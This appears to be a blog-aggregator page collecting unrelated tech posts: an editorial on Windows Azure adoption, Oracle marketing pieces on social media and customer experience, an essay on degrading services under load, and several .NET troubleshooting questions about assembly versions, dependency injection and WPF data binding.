    We're just past the second anniversary of the launch of Windows Azure. A couple of years' experience with Azure in the industry has provided some obvious success stories, but has deflated some of the initial marketing hyperbole. As a general principle, Azure seems to work well in providing a Service-Oriented Architecture for services in enterprises that suffer wide fluctuations in demand. Instead of being obliged to provide hardware sufficient for the occasional peaks in demand, one can hire capacity only when it is needed, and the cost of hosting an application is no longer a capital cost. It enables companies to avoid having to scale out hardware for peak periods only to see it underused for the rest of the time. A customer-facing application such as a concert ticketing system, which suffers high demand in short, predictable bursts of activity, is a great example of an application that would work well in Azure. However, moving existing applications to Azure isn't something to be done on impulse. Unless your application is .NET-based, and consists of 'stateless' components that communicate via queues, you are probably in for a lot of redevelopment work. It makes most sense for IT departments who are already deep in this .NET mindset, and who also want 'grown-up' methods of staging, testing, and deployment. Azure fits well with this culture and offers, as a bonus, good Visual Studio integration. The most-commonly stated barrier to porting these applications to Azure is the problem of reconciling the use of the cloud with legislation for data privacy and security. Putting databases in the cloud is a sticky issue for many and impossible for some due to compliance and security issues, the need for direct control over data, and so on. In the face of feedback from the early adopters of Azure, Microsoft has broadened the architectural choices to cater for a wide range of requirements. As well as SQL Azure Database (SAD) and Azure storage, the unstructured 'BLOB and Entity-Attribute-Value' NoSQL storage alternative (which equates more closely with folders and files than a database), Windows Azure offers a wide range of storage options including use of services such as oData: developers who are programming for Windows Azure can simply choose the one most appropriate for their needs. Secondly, and crucially, the Windows Azure architecture allows you the freedom to produce hybrid applications, where only those parts that need cloud-based hosting are deployed to Azure, whereas those parts that must unavoidably be hosted in a corporate datacenter can stay there. By using a hybrid architecture, it will seldom, if ever, be necessary to move an entire application to the cloud, along with personal and financial data. For example that we could port to Azure only put those parts of our ticketing application that capture and process tickets orders. Once an order is captured, the financial side can be processed in our own data center. In short, Windows Azure seems to be a very effective way of providing services that are subject to wide but predictable fluctuations in demand. Have you come to the same conclusions, or do you think I've got it wrong? If you've had experience with Azure, would you recommend it? It would be great to hear from you. Cheers, Tony.

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  • Brazil is Hot for Social Media

    - by Mike Stiles
    Today’s guest blog is from Oracle SVP Product Development Reggie Bradford, fresh off a visit to Sao Paulo, Brazil where he spoke at the Dachis Social Business Summit and spent some time getting a personal taste for the astonishing growth of social in Brazil, both in terms of usage and engagement. I knew it was big, but I now have an all-new appreciation for why the Wall Street Journal branded Brazil the “social media capital of the universe.” Brazil has the world’s 5th largest economy, an expanding middle class, an active younger demo market, a connected & outgoing culture, and an ongoing embrace of the social media platforms. According to comScore's 2012 Brazil Digital Future in Focus report, 97% are using social media, and that’s not even taking mobile-only users into account. There were 65 million Facebook users in 2012, spending an average 535 minutes there, up 208%. It’s one of Twitter’s fastest growing markets and the 2nd biggest market for YouTube. Instagram usage has grown over 300% since last year. That by itself is exciting, but look at the opportunity for social marketing brands. 74% of Brazilian social users follow brands on Facebook, and 59% have praised a company on either Twitter or Facebook. A 2011 Oh! Panel study found 81% of social networkers there used social to research new products and 75% went there looking for discounts. B2C eCommerce sales in Brazil is projected to hit $26.9 billion by 2015. I bet I’m not the only one who sees great things ahead, and I was fortunate enough give a keynote ABRADI, an association of leading digital agencies in Brazil with 53 execs from 35 agencies attending. I was also afforded the opportunity to give my impressions of what’s going on in Brazil to Jornal Propoganda & Marketing, one of the most popular publications in Latin America for marketers. I conveyed that especially in an environment like Brazil, where social users are so willing to connect and engage brands, marketers need to back away from the heavy-handed, one-way messaging of old school advertising and move toward genuine relationships and trust-building. To aide in this, organizational and operation changes must be embraced inside the enterprise. We've talked often about the new, tighter partnership forming between the CIO and CMO. If this partnership is not encouraged, fostered and resourced, the increasing amount of time consumers spend on mobile and digital, and the efficiencies and integrations offered by cloud-based software cannot be exploited. These are the kinds of changes that can yield social data that, when combined with enterprise data, helps you come to know your social audiences intimately and predict their needs. Consumers are always connected and need your brand to be accessible at any time, be it for information or customer service. And, of course, all of this is happening quite publicly. The holistic, socially-enable enterprise connects social to customer service systems and all other customer touch points, facilitating the kind of immediate, real-time, gratifying response customers are coming to expect. Social users in Brazil are highly active and clearly willing to meet us as brands more than halfway. Empowering yourself with a social management technology platform will have you set up to maximize this booming social market…from listening & monitoring to engagement to analytics to workflow & automation to globalization & language support. Brands, it’s time to be as social as the great people of Brazil are. Obrigado! @reggiebradfordPhoto: Gualberto107, freedigitalphotos.net

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  • In the Firing Line: The impact of project and portfolio performance on the CEO

    - by Melissa Centurio Lopes
    Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;} What are the primary measurements for rating CEO performance? For corporate boards, business analysts, investors, and the trade press the metrics they deploy are relatively binary in nature; what is being done to generate earnings, and what is being done to build and sustain high performance? As for the market, interest is primarily aroused when operational and financial performance falls outside planned commitments for the year. When organizations announce better than predicted results, they usually experience an immediate increase in share price. Likewise, poor results have an obviously negative impact on the share price and impact the role and tenure of the incumbent CEO. The danger for the CEO is that the risk of failure is ever present, ranging from manufacturing delays and supply chain issues to labor shortages and scope creep. This risk is enhanced by the involvement of secondary suppliers providing services critical to overall work schedules, and magnified further across a portfolio of programs and projects underway at any one time – and all set within a global context. All can impact planned return on investment and have an inevitable impact on the share price – the primary empirical measure of day-to-day performance. Read this complete complementary report, In the Firing Line and explore what is the direct link between the health of the portfolio and CEO performance. This report will provide an overview of the responsibility the CEO has for implementing and maintaining a culture of accountability, offer examples of some of the higher profile project failings in recent years, and detail the capabilities available to the CEO to mitigate the risks residing in their own portfolios. Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin-top:0in; mso-para-margin-right:0in; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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  • When things go awry

    - by Phil Factor
    The moment the Entrepreneur opened his mouth on prime-time national TV, spelled out the URL and waxed big on how exciting ‘his’ new website was, I knew I was in for a busy night. I’d designed and built it. All at once, half a million people tried to log into the website. Although all my stress-testing paid off, I have to admit that the network locked up tight long before there was any danger of a database or website problem. Soon afterwards, the Entrepreneur and the Big Boss were there in the autopsy meeting. We picked through all our systems in detail to see how they’d borne the unexpected strain. Mercifully, in view of the sour mood of the Big Boss, it turned out that the only thing we could have done better was buy a bigger pipe to and from the internet. We’d specified that ‘big pipe’ when designing the system. The Big Boss had then railed at the cost and so we’d subsequently compromised. I felt that my design decisions were vindicated. The Big Boss brooded for a while. Then he made the significant comment: “What really ****** me off is the fact that, for ten minutes, we couldn’t take people’s money.” At that point I stopped feeling smug. Had the internet connection been better, the system would have reached its limit and failed rather precipitously, and that wasn’t what he wanted. Then it occurred to me that what had gummed up the connection was all those images on the site, that had made it so impressive for the visitors. If there had been a way to automatically pare down the site to the bare essentials under stress… Hmm. I began to consider disaster-recovery in the broadest sense – maintaining a service in spite of unusual or unexpected events. What he said makes a lot of sense: sacrifice whatever isn’t essential to keep the core service running when we approach the capacity limits. Maybe in IT we should borrow (or revive) the business concept of the ‘Skeleton service’, maintaining only the priority parts under stress, using a process that is well-prepared and carefully rehearsed. How might this work? Whatever the event we have to prepare for, it is all about understanding the priorities; knowing what one can dispense with when the going gets tough. In the event of database disaster, it’s much faster to deploy a skeletal system with only the essential data than to restore the entire system, though there would have to be a reconciliation process to update the revived database retrospectively, once the emergency was over. It isn’t just the database that could be designed for resilience. One could prepare for unusually high traffic in a website by designing a system that degraded gradually to a ‘skeletal’ site, one that maintained the commercial essentials without fat images, JavaScript libraries and razzmatazz. This is all what the Big Boss scathingly called ‘a mere technicality’. It seems to me that what is needed first is a culture of application and database design which acknowledges that we live in a very imperfect world, and react accordingly when things go awry.

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  • No Customer Left Behind

    - by Kathryn Perry
    A guest post by David Vap, Group Vice President, Oracle Applications Product Development What does customer experience mean to you? Is it a strategy for your executives? A new buzz word and marketing term? A bunch of CRM technology with social software added on? For me, customer experience is a customer-centric worldview that produces a deeper understanding of your business and what it takes to achieve sustainable, differentiated success. It requires you to prioritize and examine the journey your customers are on with your brand, so you can answer the question, "How can we drive greater value for our business by delivering a better customer experience?" Businesses that embrace a customer-centric worldview understand their business at a much deeper level than most. They know who their customers are, what their value is, what they do, what they say, what they want, and ultimately what that means to their business. "Why Isn't Everyone Doing It?" We're all consumers who have our own experiences with many brands. Good or bad, some of those experiences stay with us. So viscerally we understand the concept of customer experience from the stories we share. One that stands out in my mind happened as I was preparing to leave for a 12-month job assignment in Europe. I wanted to put my cable television subscription on hold. I wasn't leaving for another vendor. I wasn't upset. I just had a situation where it made sense to put my $180 per month account on pause until I returned. Unfortunately, there was no way for this cable company to acknowledge that I was a loyal customer with a logical request - and to respond accordingly. So, ultimately, they lost my business. Research shows us that it costs six to seven times more to acquire a new customer than to retain an existing one. Heavily funding the efforts of getting new customers and underfunding the efforts of serving the needs of your existing (who are your greatest advocates) is a vicious and costly cycle. "Hey, These Guys Suck!" I love my Apple iPad because it's so easy to use. The explosion of these types of technologies, combined with new media channels, has raised our expectations and made us hyperaware of what's going on and what's available. In addition, social media has given us a megaphone to share experiences both positive and negative with greater impact. We are now an always-on culture that thrives on our ability to access, connect, and share anywhere anytime. If we don't get the service, product, or value we expect, it is easy to tell many people about it. We also can quickly learn where else to get what we want. Consumers have the power of influence and choice at a global scale. The businesses that understand this principle are able to leverage that power to their advantage. The ones that don't, suffer from it. Which camp are you in?Note: This is Part 1 in a three-part series. Stop back for Part 2 on November 19.

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  • Using ReportViewer 9 control in VS 2010

    - by Fermin
    Hi, I am writing an ASP.NET app that uses a SQL Server 2005 with SSRS setup. I want to use the ReportViewer control but I get an error when using ReportViewer 10 because it needs SSRS 2008. How can I use ReportViewer 9 within my application. I've added a reference to the Microsoft.ReportViewer.WebForms.dll version 9 and removed the reference to version 10. My markup is as follows: <%@ Register Assembly="Microsoft.ReportViewer.WebForms, Version=9.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="Microsoft.Reporting.WebForms" TagPrefix="rsweb" %> <!-- standard markup --> <rsweb:ReportViewer ID="ReportViewer1" runat="server"></rsweb:ReportViewer> but when I try to run this I get the following error: CS0433: The type 'Microsoft.Reporting.WebForms.ReportViewer' exists in both 'c:\WINDOWS\assembly\GAC_MSIL\Microsoft.ReportViewer.WebForms\10.0.0.0__b03f5f7f11d50a3a\Microsoft.ReportViewer.WebForms.dll' and 'c:\WINDOWS\assembly\GAC_MSIL\Microsoft.ReportViewer.WebForms\9.0.0.0__b03f5f7f11d50a3a\Microsoft.ReportViewer.WebForms.dll' What have I missed!? Update: When trying to use the ReportViewer 10 I get the following error: "Remote report processing requires Microsoft SQL Server 2008 Reporting Services or later."

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  • Could not load file or assembly FSharp.Core, Version=4.0.0.0

    - by Ken
    I'm trying to deploy a web application which uses F# 4.0 on Windows Server 2008. It works on my computer where VS2010 is installed but it doesn't work on the server. Everytime you open the page you'll get this error message: Could not load file or assembly 'FSharp.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' or one of its dependencies. The system cannot find the file specified. I've installed .NET 4 using the web platform installer. F# PowerPack is installed too. I found this page: http://connect.microsoft.com/VisualStudio/feedback/details/507202/error-in-working-with-f It suggests you to reinstall F#, but the link to download F# seems to be broken. And it might not be the same problem I have. I've also tried to install Microsoft F# 2.0.0.0 since it's the only F# redistribution I could find. But it doesn't help at all. Has anyone get something like this to work? Any help would be appreciated. Thanks.

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  • ASP.NET MVC tries to load older version of Owin assembly

    - by d_mcg
    As a bit of context, I'm developing an ASP.NET MVC 5 application that uses OAuth-based authentication via Microsoft's OWIN implementation, for Facebook and Google only at this stage. Currently (as of v3.0.0, git-commit 4932c2f), the FacebookAuthenticationOptions and GoogleOAuth2AuthenticationOptions don't provide any property to force Facebook nor Google respectively to reauthenticate users (via appending the appropriate query string parameters) when signing in. Initially, I set out to override the following classes: FacebookAuthenticationOptions GoogleOAuth2AuthenticationOptions FacebookAuthenticationHandler (specifically AuthenticateCoreAsync()) GoogleOAuth2AuthenticationHandler (specifically AuthenticateCoreAsync()) yet discovered that the ~AuthenticationHandler classes are marked as internal. So I pulled a copy of the source for the Katana project (http://katanaproject.codeplex.com/) and modified the source accordingly. After compiling, I found that there are several dependencies that needed updating in order to use these updated assemblies (Microsoft.Owin.Security.Facebook and Microsoft.Owin.Security.Google) in the MVC project: Microsoft.Owin Microsoft.Owin.Security Microsoft.Owin.Security.Cookies Microsoft.Owin.Security.OAuth Microsoft.Owin.Host.SystemWeb This was done by replacing the existing project references to the 3.0.0 versions and updating those in web.config. Good news: the project compiles successfully. In debugging, I received an exception on startup: An exception of type 'System.IO.FileLoadException' occurred in [MVC web assembly].dll but was not handled in user code Additional information: Could not load file or assembly 'Microsoft.Owin.Security, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040) The underlying exception indicated that Microsoft.AspNet.Identity.Owin was trying to load v2.1.0 of Microsoft.Owin.Security when calling app.UseExternalSignInCookie() from Startup.ConfigureAuth(IAppBuilder app) in Startup.Auth.cs. Unfortunately that assembly (and its other dependency, Microsoft.AspNet.Identity.Owin) aren't part of the Project Katana solution, and I can't find any accessible repository for these assemblies online. Are the Microsoft.AspNet.Identity assemblies open source, like the Katana project? Is there a way to fool those assemblies to use the referenced v3.0.0 assemblies instead of v2.1.0? The /bin folder contains the 3.0.0 versions of the Owin assemblies. I've upgraded the NuGet packages for Microsoft.AspNet.Identity.Owin, and this is still an issue. Any ideas on how to resolve this issue?

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  • Multiple Exception Handlers for one exception type

    - by danish
    I am using Enterprose Library 4.1. I have created a custom exception handler called CustomHandler. This is how the configuration section would look like: <exceptionHandling> <exceptionPolicies> <add name="Exception Policy"> <exceptionTypes> <add type="System.Exception, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" postHandlingAction="NotifyRethrow" name="Exception"> <exceptionHandlers> <add type="WindowsFormsApplication1.CustomHandler, WindowsFormsApplication1" name="Custom Handler" /> <add exceptionMessage="Some test mesage." exceptionMessageResourceName="" exceptionMessageResourceType="" replaceExceptionType="Microsoft.Practices.EnterpriseLibrary.ExceptionHandling.ExceptionHandlingException, Microsoft.Practices.EnterpriseLibrary.ExceptionHandling" type="Microsoft.Practices.EnterpriseLibrary.ExceptionHandling.ReplaceHandler, Microsoft.Practices.EnterpriseLibrary.ExceptionHandling" name="Replace Handler" /> </exceptionHandlers> </add> </exceptionTypes> </add> </exceptionPolicies> </exceptionHandling> There are two handlers for same exception type. What I want is that based on a certain condition one of the handlers should handle the exception. Any ideas how that can be done? Is there a way to call the other handler from inside the HandleException method of the custom handler based on some condition?

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  • StructureMap Exception Code: 202 No Default Instance defined for PluginFamily

    - by Code Sherpa
    Hi. I am new to StructureMap. I have downloaded and am using version 2.6.1.0. I keep getting the below error: StructureMap Exception Code: 202 No Default Instance defined for PluginFamily Company.ProjectCore.Core.IConfiguration, Company.ProjectCore, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null My Global.asax.cs looks like: protected void Application_Start(object sender, EventArgs e) { var container = new Container(x => { x.For<ICache>().Use<Cache>(); x.For<IEmailService>().Use<EmailService>(); x.For<IUserSession>().Use<UserSession>(); x.For<IRedirector>().Use<Redirector>(); x.For<INavigation>().Use<Navigation>(); }); container.AssertConfigurationIsValid(); } I changed from ObjectFactory.Initialize to "new Container" to debug. When stepping through the AssertConfigurationIsValid() method, Cache works but EmailService fails at the GetInstance method in the following line: private readonly IConfiguration _configuration; public EmailService() { _configuration = ObjectFactory.GetInstance<IConfiguration>(); } If I remove IEmailService, the same 202 error is thrown at IUserSession. Should I be adding something else in Application_Start or in my class files? Thanks in advance...

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  • bind a WPF datagrid to a datatable

    - by Jim Thomas
    I have used the marvelous example posted at: http://www.codeproject.com/KB/WPF/WPFDataGridExamples.aspx to bind a WPF datagrid to a datatable. The source code below compiles fine; it even runs and displays the contents of the InfoWork datatable in the wpf datagrid. Hooray! But the WPF page with the datagrid will not display in the designer. I get an incomprehensible error instead on my design page which is shown at the end of this posting. I assume the designer is having some difficulty instantiating the dataview for display in the grid. How can I fix that? XAML Code: xmlns:local="clr-namespace:InfoSeeker" <Window.Resources> <ObjectDataProvider x:Key="InfoWorkData" ObjectType="{x:Type local:InfoWorkData}" /> <ObjectDataProvider x:Key="InfoWork" ObjectInstance="{StaticResource InfoWorkData}" MethodName="GetInfoWork" /> </Window.Resources> <my:DataGrid DataContext="{Binding Source={StaticResource InfoWork}}" AutoGenerateColumns="True" ItemsSource="{Binding}" Name="dataGrid1" xmlns:my="http://schemas.microsoft.com/wpf/2008/toolkit" /> C# Code: namespace InfoSeeker { public class InfoWorkData { private InfoTableAdapters.InfoWorkTableAdapter infoAdapter; private Info infoDS; public InfoWorkData() { infoDS = new Info(); infoAdapter = new InfoTableAdapters.InfoWorkTableAdapter(); infoAdapter.Fill(infoDS.InfoWork); } public DataView GetInfoWork() { return infoDS.InfoWork.DefaultView; } } } Error shown in place of the designer page which has the grid on it: An unhandled exception has occurred: Type 'MS.Internal.Permissions.UserInitiatedNavigationPermission' in Assembly 'PresentationFramework, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' is not marked as serializable. at System.Runtime.Serialization.FormatterServices.InternalGetSerializableMembers(RuntimeType type) at System.Runtime.Serialization.FormatterServices.GetSerializableMembers(Type type, StreamingContext context) at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitMemberInfo() at System.Runtime.Serialization.Formatters.Binary.WriteObjectInfo.InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter) ...At:Ms.Internal.Designer.DesignerPane.LoadDesignerView()

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  • Webservices error for dev.virtualearth.net/webservices/geocode

    - by Xaisoft
    I am getting the following stacktrace and have no idea what I am looking at and how to debug and fix it: Here is the error: Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. Parser Error Message: Reference.svcmap: Failed to generate code for the service reference 'GeocodeService'. Cannot import wsdl:portType Detail: An exception was thrown while running a WSDL import extension: System.ServiceModel.Description.DataContractSerializerMessageContractImporter Error: Could not load file or assembly 'System.Xml, Version=2.0.5.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e' or one of its dependencies. The system cannot find the file specified. XPath to Error Source: //wsdl:definitions[@targetNamespace='http//dev.virtualearth.net /webservices/v1/geocode/contracts']/wsdl:portType[@name='IGeocodeService'] Cannot import wsdl:binding Detail: There was an error importing a wsdl:portType that the wsdl:binding is dependent on. XPath to wsdl:portType: //wsdl:definitions[@targetNamespace='http: //dev.virtualearth.net/webservices/v1/geocode/contracts'] /wsdl:portType[@name='IGeocodeService'] XPath to Error Source: //wsdl:definitions[@targetNamespace='http: //dev.virtualearth.net /webservices/v1/geocode']/wsdl:binding[@name='BasicHttpBinding_IGeocodeService'] Cannot import wsdl:port Detail: There was an error importing a wsdl:binding that the wsdl:port is dependent on. XPath to wsdl:binding: //wsdl:definitions[@targetNamespace='http://dev.virtualearth.net /webservices/v1/geocode']/wsdl:binding[@name='BasicHttpBinding_IGeocodeService'] XPath to Error Source: //wsdl:definitions[@targetNamespace='http://dev.virtualearth.net /webservices/v1/geocode']/wsdl:service[@name='GeocodeService'] /wsdl:port[@name='BasicHttpBinding_IGeocodeService'] Cannot import wsdl:binding Detail: There was an error importing a wsdl:portType that the wsdl:binding is dependent on. XPath to wsdl:portType: //wsdl:definitions[@targetNamespace='http: //dev.virtualearth.net/webservices/v1/geocode/contracts'] /wsdl:portType[@name='IGeocodeService'] XPath to Error Source: //wsdl:definitions[@targetNamespace='http: //dev.virtualearth.net /webservices/v1/geocode']/wsdl:binding[@name='CustomBinding_IGeocodeService'] Cannot import wsdl:port Detail: There was an error importing a wsdl:binding that the wsdl:port is dependent on. XPath to wsdl:binding: //wsdl:definitions[@targetNamespace='http://dev.virtualearth.net /webservices/v1/geocode']/wsdl:binding[@name='CustomBinding_IGeocodeService'] XPath to Error Source: //wsdl:definitions[@targetNamespace='http://dev.virtualearth.net /webservices/v1/geocode']/wsdl:service[@name='GeocodeService'] /wsdl:port[@name='CustomBinding_IGeocodeService']

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  • AllowPartiallyTrustedCallersAttribute exception - unit testing with moq

    - by vdh_ant
    Hi guys I am receiving the following exception when trying to run my unit tests using .net 4.0 under VS2010 with moq 3.1. Attempt by security transparent method 'SPPD.Backend.DataAccess.Test.Specs_for_Core.When_using_base.Can_create_mapper()' to access security critical method 'Microsoft.VisualStudio.TestTools.UnitTesting.Assert.IsNotNull(System.Object)' failed. Assembly 'SPPD.Backend.DataAccess.Test, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' is marked with the AllowPartiallyTrustedCallersAttribute, and uses the level 2 security transparency model. Level 2 transparency causes all methods in AllowPartiallyTrustedCallers assemblies to become security transparent by default, which may be the cause of this exception. The test I am running is really straight forward and looks something like the following: [TestMethod] public void Can_create_mapper() { this.SetupTest(); var mockMapper = new Moq.Mock<IMapper>().Object; this._Resolver.Setup(x => x.Resolve<IMapper>()).Returns(mockMapper).Verifiable(); var testBaseDa = new TestBaseDa(); var result = testBaseDa.TestCreateMapper<IMapper>(); Assert.IsNotNull(result); //<<< THROWS EXCEPTION HERE Assert.AreSame(mockMapper, result); this._Resolver.Verify(); } I have no idea what this means and I have been looking around and have found very little on the topic. The closest reference I have found is this http://dotnetzip.codeplex.com/Thread/View.aspx?ThreadId=80274 but its not very clear on what they did to fix it... Anyone got any ideas?

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